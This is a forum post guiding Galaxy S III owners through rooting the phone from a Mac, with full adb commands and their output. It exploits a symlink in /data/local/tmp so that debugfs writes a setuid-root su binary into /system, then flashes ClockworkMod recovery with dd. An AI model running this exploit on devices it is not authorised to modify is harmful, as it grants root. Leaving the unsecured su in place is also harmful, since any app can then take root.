[AT&T, Rogers, Bell, Telus Samsung Galaxy S III] arcadia3go:
Background: Just purchased a Samsung Galaxy SIII i747 running 4.0.4, but alas I have only a mac and need to root + cwm without tripping the counter. I loved my original galaxy and hope this community continues to flourish.

This was inspired by Noxious Ninja at http://xdaforums.com/showthread.php?t=1790104 and miloj at http://xdaforums.com/showthread.php?t=1704209 so give them some props :good:.

Tools Required:

clockworkmod

Temporary su (found in attachment)

debugfs (also found in attachment)

adb (Found in Android SDK)

optional: if you're using windows then you'll need extra drivers

Note: The su and debugfs were not compiled by me however miloj does provide code for su in his post incase you're concerned they both deserve more props :good:.

Now that you've collected all of the necessary tools it's time to get to work. You should type in lines that are black. The color green should be your response. If something is red it's important.

STEP 1: push debug and su onto your device and locate relavent block devices create a symbolic link for our attack to /system

Make sure usb debugging is enabled. First unarchive the attachment and if your path is correct simply.

macbook-pro:debugfs_su entropy$ adb push debugfs /data/local/
[COLOR="Lime"]2708 KB/s (1862336 bytes in 0.671s)[/COLOR]
macbook-pro:debugfs_su entropy$ adb push su /data/local/
[COLOR="lime"]2795 KB/s (372006 bytes in 0.129s)[/COLOR]
macbook-pro:debugfs_su entropy$ adb shell
shell@android:/ $ cd /data/local
shell@android:/data/local $ mv tmp tmp.back
shell@android:/data/local $ cd /dev/block/platform/msm_sdcc.1/by-name
shell@android:/dev/block/platform/msm_sdcc.1/by-name $ ls -al
[COLOR="lime"]lrwxrwxrwx root root 1970-01-25 02:16 aboot -> /dev/block/mmcblk0p5
lrwxrwxrwx root root 1970-01-25 02:16 backup -> /dev/block/mmcblk0p20
lrwxrwxrwx root root 1970-01-25 02:16 boot -> /dev/block/mmcblk0p7
lrwxrwxrwx root root 1970-01-25 02:16 cache -> /dev/block/mmcblk0p17
lrwxrwxrwx root root 1970-01-25 02:16 efs -> /dev/block/mmcblk0p11
lrwxrwxrwx root root 1970-01-25 02:16 fota -> /dev/block/mmcblk0p19
lrwxrwxrwx root root 1970-01-25 02:16 fsg -> /dev/block/mmcblk0p21
lrwxrwxrwx root root 1970-01-25 02:16 grow -> /dev/block/mmcblk0p23
lrwxrwxrwx root root 1970-01-25 02:16 modem -> /dev/block/mmcblk0p1
lrwxrwxrwx root root 1970-01-25 02:16 modemst1 -> /dev/block/mmcblk0p12
lrwxrwxrwx root root 1970-01-25 02:16 modemst2 -> /dev/block/mmcblk0p13
lrwxrwxrwx root root 1970-01-25 02:16 pad -> /dev/block/mmcblk0p9
lrwxrwxrwx root root 1970-01-25 02:16 param -> /dev/block/mmcblk0p10
lrwxrwxrwx root root 1970-01-25 02:16 persist -> /dev/block/mmcblk0p16
[COLOR="Red"]lrwxrwxrwx root root 1970-01-25 02:16 recovery -> /dev/block/mmcblk0p18[/COLOR]
lrwxrwxrwx root root 1970-01-25 02:16 rpm -> /dev/block/mmcblk0p6
lrwxrwxrwx root root 1970-01-25 02:16 sbl1 -> /dev/block/mmcblk0p2
lrwxrwxrwx root root 1970-01-25 02:16 sbl2 -> /dev/block/mmcblk0p3
lrwxrwxrwx root root 1970-01-25 02:16 sbl3 -> /dev/block/mmcblk0p4
lrwxrwxrwx root root 1970-01-25 02:16 ssd -> /dev/block/mmcblk0p22
[COLOR="red"]lrwxrwxrwx root root 1970-01-25 02:16 system -> /dev/block/mmcblk0p14[/COLOR]
lrwxrwxrwx root root 1970-01-25 02:16 tz -> /dev/block/mmcblk0p8
lrwxrwxrwx root root 1970-01-25 02:16 userdata -> /dev/block/mmcblk0p15[/COLOR]
shell@android:/dev/block/platform/msm_sdcc.1/by-name $ cd /data/local
shell@android:/data/local $ ln -s /dev/block/mmcblk0p14 tmp #this comes from one of the red highlights specifically the symbolic link to system
shell@android:/data/local $ exit
macbook-pro:debugfs_su entropy$ adb reboot

STEP 2: perform the attack and clean up

macbook-pro:debugfs_su entropy$ adb shell
shell@android:/ $ cd /data/local
shell@android:/data/local $ toolbox chmod 755 /data/local/debugfs
shell@android:/data/local $ /data/local/debugfs -w /data/local/tmp
[COLOR="Lime"]debugfs 1.42 (29-Nov-2011)[/COLOR]
debugfs: cd xbin
debugfs: rm su
[COLOR="Red"]rm: File not found by ext2_lookup while trying to resolve filename[/COLOR] #don't worry about this
debugfs: write /data/local/su su
[COLOR="Lime"]Allocated inode: 533[/COLOR]
debugfs: set_inode_field su mode 0106755
debugfs: set_inode_field su uid 0
debugfs: set_inode_field su gid 0
debugfs: quit
shell@android:/data/local $ rm tmp
shell@android:/data/local $ mv tmp.back tmp
shell@android:/data/local $ exit
macbook-pro:debugfs_su entropy$ adb reboot

STEP 3: Great success

macbook-pro:debugfs_su entropy$ adb shell
shell@android:/ $ /system/xbin/su
[COLOR="lime"]Now we be 0:0 ![/COLOR]
root@android:/ # id
[COLOR="Lime"]uid=0(root) gid=0(root) groups=1003(graphics),1004(input),1007(log),1009(mount),1011(adb),1015(sdcard_rw),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats)[/COLOR]
root@android:/ # exit
shell@android:/ $ exit

STEP 4: Immediately install superuser and force an upgrade to replace the unsecured su

STEP 5: Install Clockwork

macbook-pro:Downloads entropy$ adb push recovery-clockwork-5.8.4.5-d2att.img /sdcard/
[COLOR="lime"]3660 KB/s (7170048 bytes in 1.912s) [/COLOR]
macbook-pro:Downloads entropy$ adb shell
shell@android:/ $ su
shell@android:/ # id
[COLOR="lime"]uid=0(root) gid=0(root) groups=1003(graphics),1004(input),1007(log),1009(mount),1011(adb),1015(sdcard_rw),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats)[/COLOR]
shell@android:/ # dd if=recovery-clockwork-5.8.4.5-d2att.img of=/dev/block/mmcblk0p18 #this device file comes from step 1 and is for the recovery partition
[COLOR="lime"]14004+0 records in
14004+0 records out
7170048 bytes transferred in 1.844 secs (3888312 bytes/sec)[/COLOR]
shell@android:/ # reboot recovery

STEP 6: Celebrate and give yourself a pat on the back, because this will be fixed very quickly

First post! Also, maybe the mods could move this to the appropriate forum.